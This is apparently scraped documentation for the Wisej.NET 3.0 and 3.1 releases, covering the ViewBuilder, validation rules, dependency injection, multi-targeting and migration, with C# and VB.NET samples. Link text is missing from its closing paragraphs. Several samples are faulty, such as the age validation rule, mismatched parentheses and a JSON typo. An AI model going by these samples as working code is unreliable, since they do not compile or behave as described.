            "weight": 400,
            "sources": [{
                "fontWeight": "400",
                "fontStyle": "normal",
                "version": "1.2.3.4",
                "family": "Montserrat",
                "source": ["/Themes/Fonts/montserrat-regular.ttf"]
            }]
        }

What's new in 3.1

Wisej.NET 3.1 enhances the milestone 3.0 release by adding several new unique features and a simplified installation procedure.

In addition to numerous bug fixes and considerable performance enhancements to our libraries, 3.1 includes the following notable new features:

Visual Studio Marketplace

Typed TextBox

A basic but very useful Typed TextBox is one of the most desired features in practically all web development platforms and is now available in our toolkit

You can use this new editor control to define the type of Value property to which the text should be parsed, a.NET format string (standard or custom), and whether the formatted string should be preserved when editing or removed when entering the editor.

You can also take over the parsing and formatting using the new events and virtual methods.

Tiny Tools in the Designer

New "Tiny Tool Icons" have been added to the Property Editor in the designer to indicate some of their attributes or reset New their value.

These new icons may save time for developers by providing information and features that needed several clicks to reach.

  • Reset. Instead of having to right-click and select the Reset option (if enabled), this tiny tool allows developers to reset the value of a modified property with a single click.

  • Data Bound. Indicates that a property is data-bound. This information was only available by opening the data binding dialog.

  • Localizable. Indicates that the property can be localized. Previously, this information was unavailable without inspecting the source code or attempting to localize the value.

  • Responsive. Indicates that the property is a Responsive Property and can hold multiple values associated with client profiles.

Horizontal ListBox

The new property ListBox.Orientation changes the layout of the items in the ListBox from the standard Vertical layout to the new Horizontal Flow layout.

Everything else remains the same, including horizontal scrolling, keyboard selection, and so on.

ObservableCollection Data Binding

Commanding

Dependency Injection

New Application Templates

Using the Visual Studio Marketplace allows us to provide new project and item templates. You can use the Visual Studio Extension Manager to install our new templates and automatically register them within Visual Studio.

F1 Integrated Help

When Wisej.NET is installed from the VSIX installer (Visual Studio Market Place or downloaded from our builds page), you can press F1 to get directed to our extensive online documentation.

The system can determine the Wisej.NET class, property, or method by the location of the cursor in the editor. This has support for the main API and all the extensions!

TestProject.io Integration

Our Wisej.NET extension helps in several ways like scrolling widgets into View, handling Tree Views, Keystrokes, counting Alert or Message Boxes, and much more.

WebAuthn Extension

We have added a new module to our open-source toolkit. The new extension employs the Web Authentication API (known as WebAuthn).

New OpenWindow Callback

This is a new experimental feature. We added a new Application.OpenWindow(url, ...) method with an optional onclose callback action, and added new onclose callback action to the existing Application.Navigate() method.

It can be used for several purposes:

  • Dispose a resource (i.e. delete a file or close a handle) when the user closes the tab or the popup.

  • Simulate detaching a specific window from the browser and allow the web application to work with multiple monitors.

private void Window1_ToolClick(object sender, ToolClickEventArgs e)
{
  var id = this.textBox1.Text;

  // hide Window1
  Hide();

  // launch sub-application /client passing custom args.
  Application.OpenWindow(
    $"{Application.StartupUrl}client#id={id}",
    id,
    "left=100,top=100,width=600,height=400",

    // onclose: reopen "detached" Window1.
    () => {
      Show();
    });
}

The same effect can be achieve using a browser tab that the user can detach and move to a second monitor.

Design-Time Debug

When enabled, Wisej.NET will show the Edge renderer(s) it uses to display each control in the pixel-perfect design view.

You will see one or more small windows that show the renderers managed by the design view. When debugging the client side JavaScript, we recommend setting the Parallel Renderers to 1 - it's much easier to have only one Developer-Tools window open.

Click anywhere on the renderer window and press F12 to open the Developer Tools window.

With the Developer Tools open you can fully debug everything the designer renderer does on the JavaScript side. In Visual Studio you will also see the same debug view displayed in Chrome or Edge when showing the developer tools.

Using this powerful features allows widget developers to debug and test their JavaScript implementation at design time.

What's new in 3.0

Wisej.NET 3 is the first release of Wisej.NET that supports both .NET Framework (4.8) and .NET Core (now .NET 6, will be 7...) and runs on Windows, Linux and MacOS.

Wisej.NET 3 for .NET Framework 4.8 replaces Wisej.NET 2.5 while Wisej.NET 3 for .NET Core 6 is a new build for ASP.NET Core applications that can run on Windows, Linux and MacOS.

Adding support for .NET Core and ASP.NET Core required changes to the HTTP/WebSocket layer and the implementation of a new Wisej.NET Middleware module. Everything else is fundamentally unchanged or enhanced: .NET Controls, JavaScript Widgets, Designer, Themes, Theme Builder.

We have been using Wisej.NET 3 on Linux internally on many test projects and we have run it on several Linux distributions as well as small devices like the Raspberry Pi for over a year. And we are in the process of testing it on even smaller embedded devices running custom Linux builds.

Multi Targeting

New projects can target multiple .NET platforms. When you create a new Wisej.NET 3 project, our wizard will allow you to select the target and enable certain options:

You can edit the .csproj or .vbproj at any time and change the <TargetFrameworks> tag. Just make sure that "net48" is always the first, if you want to use the designer.

.NET 6+ Windows, Linux, MacOS

Now that Wisej.NET applications can run on .NET 6+ they are standard ASP.NET Core applications. When running on .NET 4.8 they are standard ASP.NET applications.

ASP.NET Core applications don't use System.Web anymore and are not integrated with the IIS pipeline. They are all based on OWIN and Microsoft's Kestrel. Which means that they are almost always self-hosted web applications.

Wisej.NET supported the OWIN middleware approach since 1.5, based on Microsoft's Katana.

This is how you add Wisej.NET to a standard ASP.NET Core application:

app.UseWisej();
app.UseWisej()

All ASP.NET pages and all ASP.NET controls will NOT work on ASP.NET Core.

New Features

While the vast majority of the work in Wisej.NET 3 has been to split the code between .NET Core and .NET Framework, replacing all of the ASP.NET code with ASP.NET Core, we have also added some cool new features.

Download Callback

Application.Download(
    Application.MapPath("Docs\\Manual.pdf"), null, (fileName) => {
        AlertBox.Show($"Thank you for downloading {fileName}");
    }
);

// Or

Application.Download(
    Application.MapPath("Docs\\Manual.pdf"), null, this.OnDownloadManual);
);

private void OnDownloadManual(string fileName) {
    AlertBox.Show($"Thank you for downloading {fileName}");
}
Application.Download(
    Application.MapPath("Docs\\Manual.pdf"), Nothing, 
        Sub (fileName As String)
            AlertBox.Show($"Thank you for downloading {fileName}")
        End Sub
)


' Or

Application.Download(
    Application.MapPath("Docs\\Manual.pdf"), Nothing, 
        AddressOf Me.OnDownloadManual)
)

Private Sub OnDownloadManual(fileName As String)
    AlertBox.Show($"Thank you for downloading {fileName}")
End Sub

This is a powerful new feature that allows an additional level of control that was not possible before.

Auto Layout

If you just need to apply a specific layout, or a combination of layouts, by code, without having to change containers, use the Control.LayoutChildren() methods:

  • LayoutChildren(controls, dock, viewArea, spacing, useMargins, hAlign, vAlign)

  • LayoutChildren(controls, direction, viewArea, spacing, useMargins, hAlign, vAlign)

Each method is overloaded with multiple variants and most parameters are optional using predefined values.

You can call this method as many times as you need and with as many combinations of rules as you like. It doesn't change the layout engine or the layout options, it only moves and resizes the child controls according to the specified arguments.

Commanding

public CommandDemoViewModel : BindingList<Person>
{
  public Wisej.Web.ICommand SaveCommand { get; }
  
  public CommandDemoViewModel()
  {
    this.SaveCommand = new Command<Person>(
      execute: args => {
        DB.Save(args.DataItem);
      },
      canExecute: args => {
        return  args.DataItem.Name != null &&
            args.DataItem.Age > 0;
      });
  }
}

This new feature is still experimental and may change in future builds.

New Interfaces

Added new interfaces that allow code to use common features across controls:

Using these interfaces eliminates the need to cast a control to the specific class.

((ILabel)control).LabelText = "Name:";

// instead of

if (control is TextBox)
    ((TextBox)control).LabelText = "Name:";
else if (control is ComboBox)
    ((ComboBox)control).LabelText = "Name:";
CType(control, ILabel).LabelText = "Name:"

' instead of

If control Is TextBox
    CType(control, TextBox).LabelText = "Name:"
Else If (control is ComboBox)
    CType(control, ComboBox).LabelText = "Name:"
End If

Service Container

Wisej.NET 3 adds a new experimental feature to support the dependency injection model natively.

Using this new feature is quite simple, flexible and very powerful. Use Application.AddService() to register a service and Application.GetService() to retrieve it. Services can be added with several scopes:

  • Global. Only one instance (singleton) is shared among all sessions.

  • Session. Each session gets its own instance.

  • Transient. Each request gets a new instance.

When the services instance passed to AddService is null, Wisej.NET will automatically try to instantiate the service class on first use (on demand). As soon as the service goes out of scope, Wisej.NET will automatically dispose of it. If the service implements the IDisposable interface, it gets a call to IDisposable.Dispose()

A service can also be instantiated on demand in a callback.

Using the service is also quite simple. Regardless of the scope, the service consumer simply calls:

var service  = Application.GetService<ISaveService>();

// or

var service = (ISaveService)Application.GetService(typeof(ISaveService);

The return is just null if the requested service is unavailable.

DataGridView.DataRead

private void dataGridView_DataRead(object sender, DataGridViewDataReadEventArgs e)
{
    LoadRowsToCache(e.FirstIndex, e.LastIndex);
}

private void dataGridView_CellValueNeeded(object sender, DataGridViewCellValueEventArgs e)
{
    e.Value = GetValueFromCache(e.ColumnIndex, e.RowIndex);
}
Private Sub DataGridView_DataRead(sender As Object, e As DataGridViewDataReadEventArgs) Handles DataGridView1.DataRead
    LoadRowsToCache(e.FirstIndex, e.LastIndex)
End Sub

Private Sub DataGridView_CellValueNeeded(sender As Object, e As DataGridViewCellValueEventArgs) Handles DataGridView1.CellValueNeeded
    e.Value = GetValueFromCache(e.ColumnIndex, e.RowIndex)
End Sub

DataGridView.NoDataMessage

Shows like this when the grid is empty.

General Improvements

  • Rolled up all bug fixes.

  • Layout speed improvements on the client and server.

  • Refreshed all icons in designer and Theme Builder.

View Builder

We have added a new experimental extension to build all sorts of views using a plain JSON representation. It will eventually allow us to integrate it with the designer and optionally serialize views to JSON or XML rather than code in InitializeComponent.

The Wisej.Web.Ext.ViewBuilder source code is available in our public GitHub extensions repository and on NuGet.

As a simple start, this is what you can do with the ViewBuilder:

this.form1.LoadView(stream).Show();
this.form2.LoadView(model).Show();
this.form2.LoadView(jsonString).Show();

// or

ViewBuilder.Create(stream).Show();
ViewBuilder.Create(model).Show();
ViewBuilder.Create(jsonString).Show();
Me.Form1.LoadView(stream).Show()
Me.Form2.LoadView(model).Show()
Me.Form2.LoadView(jsonString).Show()

' Or

ViewBuilder.Create(stream).Show()
ViewBuilder.Create(model).Show()
ViewBuilder.Create(jsonString).Show()

In the code above you can see two ways to use the ViewBuilder: as an extension method on any ContainerControl type (Form, Page, UserControl) to create the child components inside the target control; or as a static method used to create a new view from the model.

You can also see three different input types: Stream, Object, and String:

  • Stream is any stream that returns a JSON string.

  • Model is any object of any kind, just like any data object or view model.

  • String is a JSON string.

In all three cases, the input is an object model that is used to build the view. The code below shows a simple form with a TextBox and a Button:

// This is a JSON string.

{
  "_type": "Wisej.Web.Form",
  "text": "Builder Test",
  "windowState": "Maximized",
  "controls": [
    {
      "_type": "TextBox",
      "dock": "Top",
      "validating": "Program.OnTextBoxValidating",
      "toolTip1.ToolTip": "Type something"
    },
    {
      "_type": "Button",
      "name": "button1",
      "dock": "Top",
      "backColor": "Green",
      "click": "this.button1_OnClick"
    }
  ],
  "components": [
    {
      "_type": "Wisej.Web.ToolTip",
      "name": "toolTip1"
    }
  ]
}
// This is a .NET anonymous class.
// However, you can use any class of any kind as a model.
// The ViewBuilder will use any public property, like any data binding system.

new {
    _type = "Wisej.Web.Form",
    Text = "Builder Test",
    WindowState = "Maximized",
    Controls =
        new dynamic[] {
            new { _type = "TextBox", Dock = "Top",
                  Validating =
                      "Program.OnTextBoxValidating",
                  toolTip1_ToolTip = "Type something" },
            new {
                _type = "Button",
                Name = "button1",
                Dock = "Top",
                BackColor = "Green",
                Click = "this.button1_OnClick",
            },
        },
    Components =
        new dynamic[] {
            new { _type = "Wisej.Web.ToolTip",
                  Name = "toolTip1" },
        },

};

As you can see in the simple model above, the model is always the same. The representation can be JSON (could be XML or yaml or anything else) or directly a .NET object. These are the most important features to notice:

  • Lower case field names. The ViewBuilder recognizes lowercase names and resolves them to the correct property. It allows JSON models to follow the JavaScript camel casing convention.

  • Events are treated like properties. Assigning an handler is the same as calling += or AttachHandler.

  • Extension properties, like the ToolTip extender", are addressed using the name of the extender component: i.e. "toolTip1.ToolTip". (Note that you don't need to use the ToolTip extender for tooltips, all Wisej.NET controls have the ToolTipText property.)

  • When declaring a model property, extender properties use the underscore instead of the dot to address the component.

Model

The object model is simply the same model as the target component, with just one system property: _type. Use "_type" to define the class of the component to create. It can be a fully qualified type name or a simple name. If it's a single string, Wisej.NET will search in the Wisej.Web. namespace first.

For the _type value, you may also use a fully assembly-qualified type name. It allows your view models to refer to external assemblies and load them dynamically when the ViewBuilder creates the view.

Collections are assigned as arrays. The ViewBuilder detects what kind of collection is expected on the target and either assigns an array or calls the collection's AddRange method.

Use the components collection at the root level of the top-level container to add Wisej.NET components and extenders: Animation, ToolTip, ErrorProvider, etc.

The ViewBuilder can also resolve references to other components in the same container by name. If you set a property that expects another component, for example, ContextMenu, or DropDownControl, you can use the name of the component or control in any location of the model.

{
    "contextMenu": "contextMenu1"
}

The ViewBuilder will search for the component or control name at all levels and assign the reference to the property.

Extender Properties

For example, when you drop a control in a TableLayoutPanel, you will notice that the control has "gained" new properties at design time: Column, Row, RowSpan, ColumnSpan, and others.

The ViewBuilder model fully supports both, extender properties defined by another component and extender properties directly on the container.

{
    "_type": "TableLayoutPanel",
    "controls": [{
        "_type": "Button",
        "name": "button1",
        "text": "Click Me!",
        "columSpan": 2,
        "columm": 0,
        "row": 1,
        "animation1.name": "slideLeftIn",
        "animation1.event": "appear",
    }],
    "components": [{
        "_type": "Animation:,
        "name": "animation1"
    }]
}

In the JSON sample above you can see that button1 sets properties it doesn't have: columnSpan, column and row. These properties are extender properties provided by its TableLayoutContainer.

It also sets two more properties it doesn't have: animation1.name and animation1.event. These properties are provided by the animation1 component declared in the components collection.

Data Binding

Data binding is also fully supported. We used a syntax similar to WPF or MAUI. Any property in the model can be assigned a string that starts with "{Binding" to become a data-bound property.

The complete syntax is:

"{Binding Name, Source=Source, Format=Format, OnParse=OnParseHandler, OnFormat=OnFormatHandler, SourceUpdateMode=SourceUpdateMode, ControlUpdateMode=ControlUpdateMode}"

Everything is optional except Name.

Field
Description
Example

Name

Name of the property in the data source to bind to.

{Binding UserName} {Binding Company.Name}

Source

Reference to the data source. Can be any object in the current context (this) or a component in the components collection.

{Binding Name, Sorce=DataContext} {Binding CompanyName, Source=bindingSource1}

Format

Any standard or custom .NET format string.

{Binding Amount, Format=Total: c}

OnParseHandler

{Binding Location, OnParse=ParseLocation}

OnFormatHandler

{Binding FullName, OnFormat=FullNameFormat}

SourceUpdateMode

{Binding Name, SourceUpdateMode=Never}

ControlUpdateMode

{Binding Name, ControlUpdateMode=Never}

Data binding and parsing is a large and complex system. This is probably one of the areas on the ViewBuilder that will evolve the most in the next builds.

Event Handlers

Attach handlers to any event by name. You can refer to static methods using their name or fully qualified type name, or you can attach to local methods simply by name or using this or Me.

You may also create your own, and attach to JavaScript handlers or compile the code on the fly!

{
    "_type": "Button",
    "click": "AlertBox.Show($\"{sender}\")"
}

Custom Resolution

The ViewBuilder class exposes two assignable methods: ResolveReference and ResolveEventHandler:

ResolveReference

It's invoked when the ViewBuiler needs to convert a string name to a reference to a component or a control. If you assign your resolver to this method then it's entirely up to your code to resolve those references.

ViewBuilder.ResolveReference = (container, component, propertyName, name) => {
    return null;
}

ResolveEventHandler

It's invoked when the ViewBuilder needs to convert a string to a MethodInfo reference in order to create a delegate and attach to the event.

If you assign your resolver to this method, then it's entirely up to your code to convert the string to a method. This handler allows you to attach any kind of handler, event one you build on the fly, to any event on any control created by the ViewBuilder.

ViewBuilder.ResolveEventHandler = (container, descriptor, name) => {
    return null;
}

Validation Rules

We added a new Validation property extender to provide a modern, centralized, and flexible validation system to Wisej.NET applications.

Once you drop the new Validation component on a container at design time, all the controls are extended with a new property ValidationRules. You can assign multiple validation rules to any control.

You can use the Validation component also directly in code. Instead of setting the ValidationRules property in the designer, simply call validation.SetValidationRules(control, rules);

There are 7 built-in validation rules:

  1. Required: Validates the presence of any value.

  2. Email: Validates an email entry.

  3. Decimal: Validates a decimal value.

  4. Integer: Validates an integer value.

  5. Currency: Validates a currency value.

  6. Telephone: Validates a phone number using a validation mask.

  7. Regex: Validates any value using a custom regular expression.

Each built-in rule has a set of custom properties in addition to the basic properties inherited from the abstract ValidationRule class.

When design mode, you can add and manage the validation rules using Visual Studio's collection editor; it will automatically load the built-in rules and any custom rule you may have added to your solution.

👉 This is more or less what you do now in code when handling the Validating event. With the difference that now you can reuse the same validation rule for multiple controls in an easy way.

Custom Validation Rules

Build your own custom validation rule classes by extending Wisej.Web.ValidationRule. You can add any property and perform any validation procedure required by the application.

Using validation rule classes allows you to implement complex business rules for the validation of user-entered data in a single, reusable, place.

Example of a custom rule to enforce a minimum-age value:

// ValidationRule to enforce a minimum age.
public class AgeValidationRule : ValidationRule
{
    public bool MinimumAgeInYears {
        get;
        set;
    }
    
    public override bool OnValidating(Control control) {
    
        if (DateTime.TryParse(control.Text, out DateTime value)) {
            return value < value.AddYears(-this.MinimumAge);
        }
        
        return false;
    }
}

Error Providers

The Validation extender, and each Validation rule, expose the ErrorProvider property (accepting any implementation of the new IErrorProvider interface), allowing the validation system to display the error message anywhere!

  • On the control itself, the default.

We have also added two new interfaces:

  • IValidation. All controls Controls that support the InvalidMessage property and fire Validating and Validated now implement this interface. (it's similar to the IReadOnly or ILabel interfaces that normalize common features.)

Custom Error Providers

Now any class can implement the IErrorProvider interface and be connected to either the Validation component or to any (even multiple) ValidationRule implementation.

The Wisej.Web.Label control implements the IErrorProvider interface and it automatically shows or hides itself when an error message is set or cleard.

The code below shows a simple custom IErrorProvider that collects the errors and displays them in a list, all at once, in a MessageBox.

// Custom error provider
public class MyErrorProvider : IErrorProvider
{
    private Dictionary<Control, string> errors = new Dictionary<Control, string>();
    
    public void SetError(Control control, string error) {
        errors[control] = error;
    }
    
    public string GetError(Control control) {
        return errors.TryGet(control, out string message) ? message : null;
    }
    
    public string[] GetErrors() {
        return errors.Select(
            e => $"<li>{((ILabel)e.Key).LabelText}: {e.Value}</li>").ToArray();
    }
}

// In a page.
// errorProvider is assigned to validation.ErrorProvider.

private MyErrorProvider errorProvider = new MyErrorProvider();

private async void button_Click(object sender, EventArgs e)
{
    // ensure all children are validated.
    ValidateChildren();
    
    // display all the errors in a MessageBox.
    var errors = errorProvider.GetErrors();
    if (errors.Length > 0)
        await MessageBox.ShowAsync($"<ul>{String.Join("", errors)}</ul>");
}

Formatting Option

Validation rules are invoked twice, on Validating and on Validated events. A validation rule implementation may alter the text of a control while it's being validated or after it has been successfully validated.

For example, the built-in CurrencyValidationRule exposes a boolean Format property. When set to true, the rule will format the value of the control, if successfully validated, to display the currency symbol and the correct number of decimals.

Validation Extender Events

The Validation extender exposes the same Validating and Validated events that are available to any control. However, for the Validation extender these events are fired for the controls that have been associated to at least one validation rule.

Your handler code attached to the Validation extender will receive the array with all the validation rules associated with the control being validated. This feature allows an application to perform additional custom validation at the Validation extender level, for all the related controls.

Referencing Assemblies

Class Libraries

When building class libraries that target .NET 6+, the assemblies that are referenced via NuGet will not be copied to the bin folder unless the following element is added to the library's csproj file:

All referenced assemblies should be copied automatically in .NET Framework.

Dynamic Assemblies

If a project or assembly reference is not used in the main Wisej.NET project, the referenced project's dependencies will not be loaded into the App Domain automatically.

In .NET Framework, any assembly referenced by the main Wisej.NET project would have it's dependencies loaded into the App Domain.

For example:

If you create a custom control library that implements a custom Bubbles notification that gets dynamically injected into the main Wisej.NET project, you will need to call Application.LoadAssembly() on Wisej.Web.Ext.Bubbles to load the custom library's dependency into the Wisej.NET project.

Multi Targeting

Beginning with Wisej.NET 3, projects will be able to target multiple frameworks.

net48 must always come first in the csproj file to load the Wisej.NET designer.

Conditional Compilation

You use four preprocessor directives to control conditional compilation:

  • #if: Opens a conditional compilation, where code is compiled only if the specified symbol is defined.

  • #elif: Closes the preceding conditional compilation and opens a new conditional compilation based on if the specified symbol is defined.

  • #else: Closes the preceding conditional compilation and opens a new conditional compilation if the previous specified symbol isn't defined.

  • #endif: Closes the preceding conditional compilation.

When the C# compiler finds an #if directive, followed eventually by an #endif directive, it compiles the code between the directives only if the specified symbol is defined. Unlike C and C++, you can't assign a numeric value to a symbol. The #if statement in C# is Boolean and only tests whether the symbol has been defined or not. For example:

Partial Classes

Multitargeting will inevitably require the use of conditional compilation and excluding certain source code files from some platforms.

If you combine this technique with partial classes you can build very flexible classes that have code that compiles on different platforms:

Visual Studio will show you which targets apply for each file on a drop down at the top left.

References

Once your main project targets multiple frameworks, all the projects and the libraries it references must also provide their binaries for multiple targets.

This is all done automatically as long as the referenced projects build the binaries using the standard .NET naming convention, and libraries are added using NuGet packages that provide their binaries for multiple targets.

If you use a package only for .NET 6 or only for .NET 4.8 it will still work but you have to exclude the code in the target framework that cannot use the package.

Visual Studio Designer

The Visual Studio designer in Wisej.NET 3 has been upgraded to support Visual Studio 2022. Everything else is unchanged, and it requires the .NET Framework 4.8 target to work with Visual Studio.

Toolbox

Wisej.NET 3 components are available in the toolbox under the "Wisej.NET 3" tab name. Since Wisej.NET 2.5 we have stopped installing components in the toolbox and instead rely on the automatic installation of nuget components.

Unfortunately Visual Studio still doesn't support toolbox icons for nuget components. You can always install a custom tab and drag & drop /net48/Wisej.Framework.dll to the toolbox to see the icons. Don't use "Wisej.NET 3" for the tab name or nuget will replace your toolbox content.

Extensions added to a project using the NuGet Package manager will show up under the "Wisej.NET 3 Extension" tab name.

If the toolbox doesn't show the Wisej.NET tab and tools, make sure that the Automatically Populate Toolbox option is set to true.

FAQs

Can I use Wisej.NET 2.5 and Wisej.NET 3 simultaneously?

Yes.

Can I still use IIS Express and IIS?

There are two sets of templates available in Wisej.NET 3.

One set of templates uses Wisej.NET 3 with the old template style. This template format allows you to use IIS Express and Local IIS normally.

The templates based on the new SDK-Project format are more complicated.

Running a project in the new SDK Project format that is set to .NET Framework will start with IIS Express. Running a project in this format that targets .NET 6+ will use Kestrel.

How do I upgrade my Wisej.NET 2.5 application to Wisej.NET 3?

Does Wisej.NET 3 use .NET Core 3.0?

No. Wisej.NET 3 was designed for .NET 5+.

Will Wisej.NET 3 support future versions of .NET?

Yes.

How do I deploy my Wisej.NET 3 application?

Can I create a single-target project for .NET 6+?

Yes, but you will lose access to the designer.

All Wisej.NET projects must target .NET Framework v4.8 to use the designer.

Can I test my project with Windows Docker?

Yes but you have to create the docker file. We only provide a basic docker file for Ubuntu.

Can I test my project with Linux Docker?

Yes. We provide a basic docker file for Ubuntu.

Can I build .NET 6+ applications with VB.NET?

Yes, unlike standard ASP.NET Core projects, which have dropped VB.NET, Wisej.NET features VB.NET templates for .NET 6.

Docker Support

A Docker container image is a lightweight, standalone, executable package of software that includes everything needed to run an application: code, runtime, system tools, system libraries and settings.

Using Visual Studio Docker Tools, Wisej.NET 3 applications can be packaged and run in these containers.

Project

Installing

When creating a cross-platform Wisej.NET 3 application, Visual Studio will prompt the user to add Docker support to the project.

Running

To run the Wisej.NET application in a Docker container, change the runtime target to Docker.

When building and running a Docker project, the first TargetFramework is always used. If Docker can't run the first TargetFramework, it will target the second or third listed framework.

Dockerfile

Docker can build images automatically by reading the instructions from a Dockerfile. A Dockerfile is a text document that contains all the commands a user could call on the command line to assemble an image. Using docker build users can create an automated build that executes several command-line instructions in succession.

Below is a sample Dockerfile configured to run a Wisej.NET 3 application that targets .NET 5.

Be sure to update the Dockerfile if the TargetFramework is not .NET5.0.

Update Existing Projects

There is no need to change the project format if you are staying with .NET 4.8! Wisej.NET 3 supports both .NET Framework and .NET Core. You only need to change the project format to the SDK format if you are going to use .NET Core and ASP.NET Core.

The Basics

Change Project Format to SDK

When migrating a Wisej.NET 2.x project to Wisej.NET 3, it's not recommended to change the existing project but rather create a new Wisej project using the new templates and copy over files.

Moving from older versions of Wisej.NET to Wisej.NET 3 requires updating the project to the new SDK Project format.

  1. Take note of all embedded resources, references and build customizations within the Project.

  2. Unload the Project.

  3. Delete the content of the .csproj file.

  4. Copy the following text into the .csproj file.

5. Reload the Project

6. Add embedded resources, references, and build customizations back.

Files that are Embedded Resources are reset to Content, don't forget to set them again to Embedded Resource.

Upgrade Resource Files (.resx)

All the localization .resx files need to be upgraded to Wisej.Framework, Version=3.0.0.0. It's a simple task that can be completed using Visual Studio Search & Replace.

Replace "Wisej.Framework, Version=2.0.0.0" with "Wisej.Framework, Version=3.0.0.0".

It's likely that your projects don't have any Wisej.Framework reference in the .resx files.

Add Startup.cs

A Startup.cs file is required for ASP.NET Core projects (Wisej projects targeting .NET Core).

  1. Right-Click the Project.

  2. Click Add > Class.

  3. Set the name to Startup.cs.

  4. Click Add.

  5. Copy the following content into the Startup.cs file or download the file below.

Don't forget to update the Namespace.

Add launchSettings.json

Wisej 3 projects targeted for .NET Core require adding a launchSettings.json file to the /Properties directory of the project.

  1. Right-Click the project on the \Properties folder.

  2. Click Add > New Item > JSON File.

  3. Name the file launchSettings.json.

  4. Copy the following text into the file.

Profiles define the startup behavior for the application. Don't forget to update the profile names.

Project Properties

The new SDK project format has many properties that are not available in the project property panel. You have to get used to editing the .csproj or .vbproj files directly.

Unfortunately, there isn't a comprehensive list anywhere and many properties are not standard and depend on build targets. All you can do is search around...

These are just a few that we have added to our templates:

Implementation Changes

With the release of Wisej.NET 3.0, which is the first version to support both .NET Framework and .NET Core, we have standardized all classes to ensure compatibility across these two environments. This means that any class differences between the two have been reconciled, and unique classes from either environment have been seamlessly integrated.

UITypeEditor

Originally, the class System.Drawing.Design.UITypeEditor was utilized. However, because it does not exist in .NET Core, we have reimplemented it as Wisej.Web.UITypeEditor.

Therefore, attributes that were previously declared as [Editor(typeof(MyEditor), typeof(System.Drawing.Design.UITypeEditor))] must be updated. You can now specify them as [Editor(typeof(MyEditor), typeof(UITypeEditor))] or [Editor(typeof(MyEditor), typeof(Wisej.Web.UITypeEditor))], depending on the namespaces defined in your using directives.

Http* Types

Previously, all Http* types were located in the System.Web namespace. However, in .NET Core, these types differ significantly. To address this, we have reimplemented a unified Http type system under Wisej.Core.Http*. This ensures consistency and compatibility when working across different .NET environments.

When transitioning from System.Web classes, you will likely encounter compilation errors, making it straightforward to identify where these classes are used in your code. Typically, these classes are utilized in the Upload control, within any implementation of the IWisejHandler interface, and in managing cookies collections. Identifying and updating these areas will be essential to ensure compatibility with the new system.

Get the Wisej.NET Chat Control
Get the Signature Control
Get the Pull-to-Refresh Component
Get the TesseractJS Component
Get the Dynamsoft Premium Extension
Get the MobiScroll Premium Extension
DxDashboard Sample Project

To support private fonts, simply deploy the .ttf files for the fonts used in the theme that are not installed on the server to the /Themes/Fonts folder. For example, in case your application uses the Montserrat font and it's not installed on the server, put the following files in /Themes/Fonts:

Wisej.NET is now easier to use than ever before. It is available as a VSIX installer through the or via the Visual Studio Extension Manager. Without using the GAC, the new VSIX installer automatically registers Application Templates and the Wisej.NET designer.

Previously, the data binding system in Wisej.NET only supported the class for advanced data binding. However, MAUI and WPF support the simpler type for their data binding.

Now Wisej.NET seamlessly supports both. Support for the is identical in all data binding implementations.

Together with the support introduced as an experimental feature in 3.0, it now supports most 3-letter or 4-letter binding models.

The implementation introduced with 3.0 is now fully supported.

are now first-class citizens in Wisej.NET 3.1.

We have moved the and added new similar to the Blazor startup templates.

We have selected new automation tools as we built our new automated test suite, which we’ve decided to share using , an end-to-end automation solution for Web and Mobile apps with all the latest browser drivers.

The extension enables developers to add external and platform-specific authenticators into Wisej.NET applications. You can read more about the new extension in our blog post .

Application.OpenWindow() opens the url in a new . If you specify the onclose callback method, it is invoked when the user closes the popup window.

Existing Wisej.NET 2 applications should be able to run on Wisej.NET 3 mostly unchanged. Hopefully, all you need to is the Visual Studio to the new "Sdk" project format.

The is not available for the .NET Core targets and relies on the dual target approach, with the added benefit that Wisej.NET applications can be deployed on .NET Framework 4.8 on Windows and .NET Core on Windows, Linux and MacOS.

The new Sdk project format has many properties that are not available in the project property panel. You'll have to get comfortable editing the .csproj or .vbproj files directly. See for an example if the ones we added to our templates.

Multitargeting will inevitably require the use of conditional compilation and excluding certain source code files from some platforms. In our sources we use and partial classes to neatly separate code keeping the same class structure.

All the , and methods have a new optional argument: a callback function, invoked when the file has been downloaded by the client.

Wisej.NET supports all sorts of very powerful (impossible to achieve with any other web platform). However, all the layouts are implemented in layout engines and are "permanent": you have to set layout properties for the children and the container manages the layout using the specific layout engine.

Calling LayoutChildren without the controls collection and without the viewArea argument, arranges all the direct children using the control's as the bounding area.

Otherwise you can specify only a subset of the child controls and define a view area to limit the layout space. You can also try this new automatic layout functionality at design time using the new .

We have introduced a new experimental feature to extend the current data binding model to make it compatible with MAUI's approach. In our implementation, commands work seamlessly with the existing data binding and have access to the full of the . In MAUI the command's code is limited to a single parameter.

In this first implementation, and have a new property and event. The Command property can be data-bound to properties of the data source.

When returns false, the command source button automatically disables itself. Clicking the button invokes the method attached to the command.

Use the new class or Command<T> class to wrap the implementation of a command and to cast the data item coming from the data source.

. Implemented by all controls that have the Label property.

. Implemented by all controls that have the various Image (ImageIndex, ImageKey, ImageSource) properties.

. Implemented by all controls that have the ReadOnly property.

. Implemented by all controls that have the Modified property.

The Application class now is an and has two new methods to manage services: and with several overloads.

Our control can handle an unlimited number of rows thanks to its built-in virtual scrolling and page caching on the client side. As the user scrolls the rows, the control manages a client-side cache of pages or rows and requests from the server only the pages that are needed to render the current view.

You can control the size of the client-side cache using the BlockSize and MaxCachedBlocks properties. When the is in , it doesn't hold any data and can manage any number of rows with minimal memory usage. Your code provides the data as needed handling the and events.

However, the events are fired every single time the application code uses a cell in the grid (in the grid doesn't hold any data). Usually, implementations of a virtual DataGridView must implement some kind of cache management on the server.

The new event makes this task a lot easier. It is fired when the client requests a page allowing an application to build and manage a small server-side cache in sync with the client scrolling, resulting in a much simpler usage of the events.

This property has been as an experimental feature for a while and it's now a supported property. It takes an HTML string and it displays filling the entire grid space when there grid contains no rows.

All non-numeric values are in strings. Including Point, Size, Color, Font, etc. The ViewBuilder uses the property's to parse the string.

Wisej.NET supports the system at design time. Now it supports it also in this new ViewBuilder model. There are usually two kinds of extenders: a component and a container.

If the Source is not specified, the current container (this or Me) is assumed to be the source. When the Source is specified, it's also relative to this or Me, unless it's a reference to a component, a , for example.

An event handler for the event.

An event handler for the event.

One of the fields.

One of the fields.

Event handlers are resolved through the ViewBuilder.ResolveEventHandler function , which is overridable. The default resolver looks up the method and returns its object.

Your ResolveEventHandler implementation (see ) receives the string assigned t the "click" event and it's up to you to return the MethodInfo to attach to the event.

